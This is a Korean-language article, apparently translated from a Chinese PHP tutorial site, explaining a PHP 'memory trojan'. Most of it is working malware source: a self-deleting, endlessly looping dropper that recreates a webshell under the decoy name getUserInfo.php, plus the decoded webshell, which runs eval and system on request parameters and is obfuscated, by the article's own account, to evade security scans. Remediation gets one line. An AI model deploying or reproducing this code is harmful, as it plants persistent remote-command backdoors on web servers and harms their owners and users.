>  기사  >  백엔드 개발  >  PHP 메모리 트로이 목마 바이러스의 구현 원리를 분석해 보세요.

PHP 메모리 트로이 목마 바이러스의 구현 원리를 분석해 보세요.

藏色散人
藏色散人앞으로
2022-10-17 14:20:273487검색

머리말

메모리 트로이 목마는 메모리에서 실행되며 코드 엔터티가 없는 트로이 목마 바이러스입니다. 메모리 트로이 목마는 고도로 숨겨져 있고 탐지하기 어렵고 죽일 수 없습니다(일반적으로 불멸의 말이라고 함).

네트워크 보안 산업은 강력한 배럴 효과를 가지고 있습니다. 시스템은 블랙햇에 맞서 싸우며, 그 결과는 보안의 가장 약한 고리에 달려 있습니다. 검은 모자 vs 흰 모자, 공격 수준과 은폐 및 파괴 수준에 따라 결과가 달라집니다.

본문에서는 임의 파일 업로드나 근거리 소스 공격으로 인해 프로덕션 서버에 악성 코드 조각이 접근했는지 여부에 대해서는 논의하지 않습니다.

바이러스 소스 코드(매우 간단함)

<?php
//设置脚本不超时
set_time_limit(0);ignore_user_abort(true);
//删除文件本体
@unlink(__FILE__);
//给木马病毒起一个迷惑性的名字
$file = &#39;./getUserInfo.php&#39;;
//死循环常驻内存。释放木马文件
while(true) {
 if(! file_exists($file)) @file_put_contents($file, base64_decode(&#39;PD9waHAKaWYoJGUgPSBAJF9HRVRbJ2UnXSkgewogICAgJGZ1bmMgPSBAY3JlYXRlX2Z1bmN0aW9uKG51bGwsIGJhc2U2NF9kZWNvZGUoJ1pYWmhiQ2dpJykgLiAkZSAuIGJhc2U2NF9kZWNvZGUoJ0lpazcnKSk7CiAgICAkZnVuYygpOwp9CgppZigkcyA9IEAkX0dFVFsncyddKSB7CiAgICAkZiA9IHN0cl9yZXBsYWNlKCd4JywgJycsICd4eHhzeHh5eHN4eHh4eHh0eHhleHh4bXh4eHh4eHh4Jyk7CiAgICAkZigkcyk7Cn0=&#39;));
 sleep(60);
}

바이러스 본체 해제

<?php
//以下代码实现了eval关键字和system函数的伪装
//eval($_GET[&#39;e&#39;]);
if($e = @$_GET[&#39;e&#39;]) {
    $func = @create_function(null, base64_decode(&#39;ZXZhbCgi&#39;) . $e . base64_decode(&#39;Iik7&#39;));
    $func();
}
//system($_GET[&#39;s&#39;]);
if($s = @$_GET[&#39;s&#39;]) {
    $f = str_replace(&#39;x&#39;, &#39;&#39;, &#39;xxxsxxyxsxxxxxxtxxexxxmxxxxxxxx&#39;);
    $f($s);
}

지침

  • 위의 중요 중요 코드는 다양한 보안 스캔을 피하기 위해 암호화되어 있습니다.

  • 바이러스 샘플이 실행되면 자체 삭제되며 오랫동안 메모리에서 실행됩니다.

  • 유출된 트로이 목마가 탐지되어 삭제되더라도 동일한 파일이 생성됩니다.

해결 방법

프로세스 종료 후 공개된 트로이 목마 파일을 삭제하세요.

추천: "PHP 비디오 튜토리얼"

위 내용은 PHP 메모리 트로이 목마 바이러스의 구현 원리를 분석해 보세요.의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!

성명:
이 기사는 learnku.com에서 복제됩니다. 침해가 있는 경우 admin@php.cn으로 문의하시기 바랍니다. 삭제